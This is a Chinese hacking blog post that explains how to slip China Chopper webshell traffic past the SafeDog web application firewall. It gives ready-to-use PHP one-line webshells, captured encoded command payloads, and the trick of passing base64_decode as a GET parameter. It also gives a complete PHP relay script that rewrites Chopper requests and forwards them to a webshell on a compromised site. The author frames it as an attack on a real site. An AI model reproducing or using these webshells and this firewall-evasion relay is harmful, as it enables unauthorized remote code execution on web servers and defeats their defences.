PHP一句话 菜刀过安全狗 中转脚本 将ase64_decode作为参数传递

 需要准备的东西:

**************************************

原版菜刀一个

PHP+Apache运行环境

过狗一句话一个,如:

  1. <?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>
  1. <?php $_GET[c]$_POST[c];?>

  1. <?php
  2. $_REQUEST['a']($_REQUEST['b']);//换行更好些
  3. ?>

过程:先连接中转脚本,菜刀发出数据,中转脚本接收post数据并替换其中的base64_decode内容,然后将替换的内容作为webshell的post内容发送出去,base64解码的工作放在服务器端了

思路:

今天碰到一个dede的站 ,发现getshell后用菜刀连接失败,就连乌云大牛@俺是农村的写的webshell管理工具也无法连接

所以就来研究一下,看看安全狗到底拦截什么!!

于是打开抓包工具开始抓菜刀连接时候的包


图我就不打码了 想日的去日吧

此时抓到的包是

 

然后打开火狐浏览器  用hackbar来试着搞

 

 

 

 

奶奶的,被helen狗咬了!


难道狗是拦截POST数据里面的eval()  ??

此时抓到的包是:<此时是将z0base64加密的内容解密了再上传>

c=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rl
c19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaX
IoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO3
1lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS
1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMC
w4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSR
OLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7
&z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc

然后打开火狐浏览器  用hackbar来试:<确定是由于数据包的问题>

难道狗是拦截POST数据里面的eval()  ??

于是把eval换成assert试试,还是被狗咬?

根据php的灵活性  我这里把base64_decode改成$_GET[1141056911]
然后用这时候get的参数是http://www.xcom/plus/helen.php?1141056911=base64_decode    把它作为参数传入
这时候post的参数是<还是eval的>

c=@eval($_GET[1141056911]($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW
1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCI
pOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJE
QpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPc
iBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkT
j1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppO
nMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZ
XBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgk
UCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNl
ICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDw
tIik7ZGllKCk7&z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc

 然后我们看下效果,看吧成功执行,而且狗傻逼了

于是左思又想,本菜不会逆向怎么办,不会改菜刀啊!!

终于灵光一闪,咱用PHP写个中转脚本不就行了!

PHP接收菜刀的post然后把post里面的base64_decode替换掉

如下代码

<?php
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
 
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
 
//print_r($data);
 
$data = http_build_query($data);  
$opts = array (  
'http' => array (  
'method' => 'POST',  
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .  
"Content-Length: " . strlen($data) . "\r\n",  
'content' => $data)
);
 
$context = stream_context_create($opts);  
$html = @file_get_contents($webshell, false, $context); //发送post 
echo $html;  
 
?>

用法:

把$webshell改成你的webshell地址,然后把代码保存为1234.php放到你本地的php环境里,然后直接丢菜刀连接

 

shell密码还是原本的密码,然后你会发现成功杀掉狗